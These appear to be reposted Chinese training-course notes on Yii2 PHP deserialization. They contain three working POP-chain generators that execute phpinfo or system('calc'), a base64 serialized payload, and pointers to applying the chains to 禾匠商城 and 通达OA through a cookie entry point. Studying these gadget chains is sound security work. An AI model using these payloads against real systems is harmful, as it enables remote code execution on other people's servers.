小迪安全-112-yii反序列化链,某达oa,某商场,影响分析

news2025/4/22 5:31:06

yii是和tp一样的框架 

入口文件

web目录下

相对tp比较简单一些,对比tp找一下他的url结构

对应的位置结构

这个contorllers文件的actionindex就是触发的方法

控制器,指向的index文件,就可以去视图模块看index文件

这就是前端展示的文件

自己创建个新的文件访问试试

访问到了test/test文件,返回了123,这个需要文件名字和上一个模板原因,利用类的格式也是,都需要调用,跟tp差不多

例如有反序列化入口怎么构造poc

这里就有接受序列化数值,并且进行反序列化操作的入口

思路和tp一样,

全局搜索销毁函数

来到这个文件下

记录一下文件名字和类

跟踪一下reset

跟到这里就没有了,close跟到也是没什么东西,但这里datareader是可控的,可以赋值给一个不存在的方法,触发--call

这里用到第二个思路,直接找call_user_func  逆跟

搜到了一个,同文件下面还有一个close方法直接返回func的值

这里记录一下命名空间和类,用到close方法

这里就已经可以构造链了

在这里让datareader等于 new  FnStream这个对象再去触发close的时候就等于触发的FnStream对象的close

开始构造pop链

这里按照笔记顺序先写上面的再写下面的

先写个固定模板

这里就是use  第一个命名空间和类,然后声明一个新的对象

然后在上面写第一个链

第一个链写好之后就想办法给_fn_close可控,造成危害

然后在第一个链上面写第二个链

生成base64加密的反序列化值

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ

代码执行成功

看一下debug流程

直接看触发销毁函数的地方

datareader等于要触发类

到close的时候就执行了phpinfo

poc1

<?php
namespace GuzzleHttp\Psr7{//第二个链命名空间
    class FnStream{//第二个链的类
        var $_fn_close="phpinfo";//创建变量值为phpinfo
    }
}




namespace yii\db{//第一个链的命名空间
    use GuzzleHttp\Psr7\FnStream;//因为调用FnStream类所以需要包含这个类
    class BatchQueryResult{//第一个链的类
        private $_dataReader;//变量值
        public function __construct()//创建方法
        {
            $this->_dataReader = new FnStream();//变量赋值为FnStream
        }
    }
}



namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize( new BatchQueryResult()));
    //new是为了调用BatchQueryResult形成__destruct()-》reset()

}

第二个链

给一个不存在的方法去出发--call

全局搜索看看可利用的call

记录文件名字,命名空间和类

然后跟踪一下format

看到了func-array,但是很遗憾,变量arguments被固定了,没法利用

然后这个人就去找单函数的

全局搜call_user_func(

关于两个值,在本文将没有看到,就转到声明

这两个赋值就可以

ok,开始构造链

poc2

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess='system';
        public $id='calc';
    }
}

namespace Faker{

    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(),'run'];//数组格式赋值,控制第一个值调用run方法
        }
    }
}


namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间
    use Faker\Generator;//因为调用Generator类所以需要包含这个类
    class BatchQueryResult{//第一个链的类
        private $_dataReader;//变量值
        public function __construct()//创建方法
        {
            $this->_dataReader = new Generator();//c出发时不沉溺在方法call
        }
    }
}


namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize( new BatchQueryResult()));
    //new是为了调用BatchQueryResult形成__destruct()-》reset()

}

动态调试看看

运行流程

在close时候给的方法不存在此文件,调用了call

这里数组格式赋值调用了indexaction的run方法

第三链

这里又搜索到一个一样的

构造一下链

<?php

namespace yii\rest{
    class CreateAction{
        public $checkAccess='system';
        public $id='calc';
    }
}

namespace Faker{

    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = [new CreateAction(),'run'];//数组格式赋值,控制第一个值调用run方法
        }
    }
}


namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间
    use Faker\Generator;//因为调用Generator类所以需要包含这个类
    class BatchQueryResult{//第一个链的类
        private $_dataReader;//变量值
        public function __construct()//创建方法
        {
            $this->_dataReader = new Generator();//c出发时不沉溺在方法call
        }
    }
}


namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize( new BatchQueryResult()));
    //new是为了调用BatchQueryResult形成__destruct()-》reset()

}

就只修改第三段链就可以了,而且也只是改一下类和命名空间

每一个链引用的文件都是不一样的,所以多条链路就是挨个调用所需要的类和方法

而这个是要在框架被开发的时候,出现了接受反序列化值而且我们可控可以这个值,就会造成反序列化命令执行漏洞

梳理流程txt文件

vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db;  类:class BatchQueryResult      

vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db;  类:class BatchQueryResult

_dataReader=new FnStream -》close()


namespace GuzzleHttp\Psr7; class FnStream
close()
return call_user_func($this->_fn_close);


第一个思路,直接找call-user-func  逆跟


poc2

vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db;  类:class BatchQueryResult      

vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db;  类:class BatchQueryResult

_dataReader=错误方法 -》call方法

vendor/fzaninotto/faker/src/Faker/Generator.php
namespace Faker;  class Generator
call()->format()->call_user_func_array();;formattters('close') = [new indexaction(),'run']

call_user_func_array($this->getFormatter($formatter), $arguments);$arguments被固定了
但可以控制$formatter调用方法

call_user_func_array(“new IndexAction.run()”就能调用下一个链执行命令

vendor/yiisoft/yii2/rest/IndexAction.php
namespace yii\rest; class IndexAction
call_user_func($this->checkAccess, $this->id);


poc3
vendor/yiisoft/yii2/rest/CreateAction.php
namespace yii\rest;  class CreateAction
call_user_func($this->checkAccess, $this->id);

案例一 禾匠商城

https://zhuanlan.zhihu.com/p/526291918

就在这里因为json-decode失败之后

就会进入变量res = unseriailize反序列化执行

就可以利用刚刚写好的链

案例二 通达oa反序列化

奇安信攻防社区-通达OA反序列化分析

使用了yii2.0.13版本

正常解密源码

怎么判断是yii框架

一艘关键字,getversion就找到了这个,文件名字也是yii

这个方法使用了unserialize函数

这里就使用了反推方法,先找了最后触发点,然后往前找

在全局搜索

这里引用过

搜索到loadcsrftokne引用过

getcsrftoken引用过

最后csrgmatggs引用过

这就马上就能找到入口文件了

看poc。入口是以cookie发送过去,访问

/general/appbuilder/web/portal/gateway/

目录

变量data就是cookie里面的数据
但是原有的链用不了,都被改了

就只能自己在找新的反序列化链

前面流程在找到close方法都是一样的

close方法发送了更改,然后在找call方法

然后剩下的看链接地址,里面有挨个链路分析,挺长的

额,这节课感觉小迪留后手了,讲的很水

jian

kang

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2339866.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

区间选点详解

步骤 operator< 的作用在 C 中&#xff0c; operator< 是一个运算符重载函数&#xff0c;它定义了如何比较两个对象的大小。在 std::sort 函数中&#xff0c;它会用到这个比较函数来决定排序的顺序。 在 sort 中&#xff0c;默认会使用 < 运算符来比较两个对象…

如何在白平衡标定种构建不同类型的白平衡色温坐标系

目录 一、预备知识&#xff1a; 二、常见的白平衡色温坐标系 三、白平衡色温坐标系的理解 1&#xff09;横纵坐标轴分别代表什么含义&#xff1f; 2&#xff09;色温坐标系中原点表示什么含义&#xff1f; 3&#xff09;某M/某H的色温坐标为什么是长成这样呢&#xff1f;…

Oracle RMAN同步数据库Active database duplicate

Active database duplicate&#xff0c;不需要先把目标数据库进行rman备份&#xff0c;只要目标数据库处于归档模式下即可直接通过网络对数据库进行copy&#xff0c;且copy完成后自动open数据库。这对于大数据特别是T级别的数据库来说优点非常明显&#xff0c;复制前不需要进行…

基于DeepSeek/AI的资产测绘与威胁图谱构建

引言&#xff1a; 在网络安全攻防实践中&#xff0c;资产测绘是红队作战与蓝队安全运营的第一步&#xff0c;其本质都是通过系统性信息采集实现攻击面管理。 当前普遍存在的痛点在于&#xff0c;当企业级资产规模呈指数级增长时&#xff0c;传统基于规则引擎的低效批量处理方式…

构建自动翻译工作流:技术与实践

一、引言 制药行业客户迫切需要一种翻译解决方案&#xff0c;以解决公司内部多样化的翻译难题。他们需要的不仅是提升翻译效率和准确性的工具&#xff0c;更希望能够保持文档的原始格式。我们观察到客户的需求广泛&#xff0c;包括多语言办公文件、研究文档和药品报批文件等&a…

【Linux】中的网络管理

目录 1.ipv4原理&#xff0c;网关与DNS定义 2ip图形化配置--nm 2.1图形化平台配置 2.2无图形化平台配置 3.常用的网络命令--ping&#xff0c;wget&#xff0c;curl ping wget curl 4.ip命令临时配置---ifconfig&#xff0c;ip a ifconfig ip address 5.ip命令永久配…

elasticsearch中文分词器插件下载教程

一、下载原因&#xff1a; 我们的业务中通常使⽤的是中⽂分词&#xff0c;es的中⽂分词默认会将中⽂词每个字看成⼀个词⽐如&#xff1a;“我想吃⾁夹馍”会被分为”我”&#xff0c;”想”&#xff0c;”吃”&#xff0c;”⾁” &#xff0c;”夹”&#xff0c;”馍” 这显然是…

门面模式与适配器模式

一、门面模式 门面模式&#xff1a;提供统一接口访问子系统接口 1、包含角色 外观系统对外的统一接口子系统类的集合&#xff1b;并不知道外观角色的存在&#xff0c;需要为了配合外观角色而做特殊处理或修改 2、举例 原本开关灯要分别操作各个房间的灯&#xff0c;现在设置总…

QSS【QT】

文章目录 QSSid选择器 & 类型选择器伪类选择器盒子模型 QSS 设置样式的时候&#xff0c;是可以指定某个控件来设置的。 指定控件之后&#xff0c;此时的样式就会针对这个指定的控件&#xff0c;也会针对子控件生效 ui->pushButton_2->setStyleSheet("QPushButt…

css 中float属性及clear的释疑

float属性可以让元素脱离文档流&#xff0c;父元素中的子元素设置为float,则会导致父元素的高度塌陷。 <style type"text/css"> .father{ /*没有给父元素定义高度*/background:#ccc; border:1px dashed #999; } .box01,.box02,.box0…

BH1750光照传感器---附代码

目录 BH1750简介BH1750指令集BH1750工作流程 BH1750简介 VCC-->电源正&#xff1b; ADDR-->地址端口&#xff1b; GND-->电源负&#xff1b; PA5-->SDA-->I2C数据线&#xff1b; PA3-->SCL-->I2C时钟线&#xff1b; DVI-->I2C端口参考电压&#xff1b…

蔡浩宇的AIGC游戏革命:从《原神》到《Whispers》的技术跨越

目录 引言&#xff1a;游戏行业的AI革命前夜 一、《Whispers》的技术突破与市场挑战 1.1 多模态AI技术的集成应用 1.2 与传统游戏的差异化体验 1.3 面临的商业化难题 二、从《原神》到《Whispers》的技术演进 2.1 《原神》成功的时代因素分析 2.2 蔡浩宇的技术路线转变 …

前端vue+typeScritp+elementPlus基础页面实现:

效果&#xff1a; 前端代码&#xff1a; index.vue: <template><el-container><el-main><el-card class"search-card" shadow"never"><transition :enter-active-class"proxy?.animate.searchAnimate.enter" :le…

leetcode第20题(有效的括号)

思路解析&#xff08;使用栈&#xff09;&#xff1a; 使用一个栈来保存左括号。 每当遇到一个右括号时&#xff0c;检查栈顶元素是否是匹配的左括号。 如果匹配&#xff0c;则弹出栈顶元素&#xff1b; 如果不匹配或者栈为空&#xff0c;则说明无效&#xff1b; 最后如果栈…

超简单的git学习教程

本博客仅用于记录学习和使用 前提声明全部内容全部来自下面廖雪峰网站&#xff0c;如果侵权联系我删除 0.前言 相信有不少人被推荐那个游戏学习git&#xff0c;一个不止我一个完全没学习过的进去后一脸懵&#xff0c;半天都通不过一关然后就放弃了&#xff0c;我个人觉得那个…

【DVWA File Upload 漏洞实战指南】(Low / Medium / High 全级别解析)

前言 文件上传功能是 Web 应用中非常常见的一种功能&#xff0c;用于上传头像、文档、图片等文件。但如果验证不当&#xff0c;攻击者可能上传恶意脚本&#xff0c;进而控制服务器。在 DVWA 中&#xff0c;File Upload 模块专门设计用于演练此类漏洞的不同防御等级。 一、Low …

iPhone 13P 换超容电池,一年实记的“电池循环次数-容量“柱状图

继上一篇 iPhone 13P 更换"移植电芯"和"超容电池"&#x1f50b;体验&#xff0c;详细记录了如何更换这两种电池&#xff0c;以及各自的优略势对比。 一晃一年过去&#xff0c;时间真快&#xff0c;这次分享下记录了使用超容电池的 “循环次数 - 容量(mAh)…

【集群IP管理分配技术_DHCP】一、DHCP技术概念与快速上手

在网络技术飞速发展的今天&#xff0c;动态主机配置协议&#xff08;DHCP&#xff09;作为网络中自动分配 IP 地址及相关配置参数的重要工具&#xff0c;极大地简化了网络管理流程。然而&#xff0c;随着网络规模的不断扩大和应用场景的日益复杂&#xff0c;传统 DHCP 在灵活性…

Tailwindcss 入门 v4.1

以 react 为例&#xff0c;步骤如下&#xff1a; npm create vitelatest my-app -- --template react 选择 React 和 JavaScript 根据上述命令的输出提示&#xff0c;运行以下命令 cd my-app npm install npm run dev 一个 React App 初始化完成。 安装 Tailwindcss theme …

【Linux】NAT、代理服务、内网穿透

NAT、代理服务、内网穿透 一. NAT1. NAT 技术2. NAT IP 转换过程3. NAPT 技术4. NAT 技术的缺陷 二. 代理服务器1. 正向代理2. 反向代理3. NAT 和代理服务器 内网穿透内网打洞 一. NAT NAT&#xff08;Network Address Translation&#xff0c;网络地址转换&#xff09;技术&a…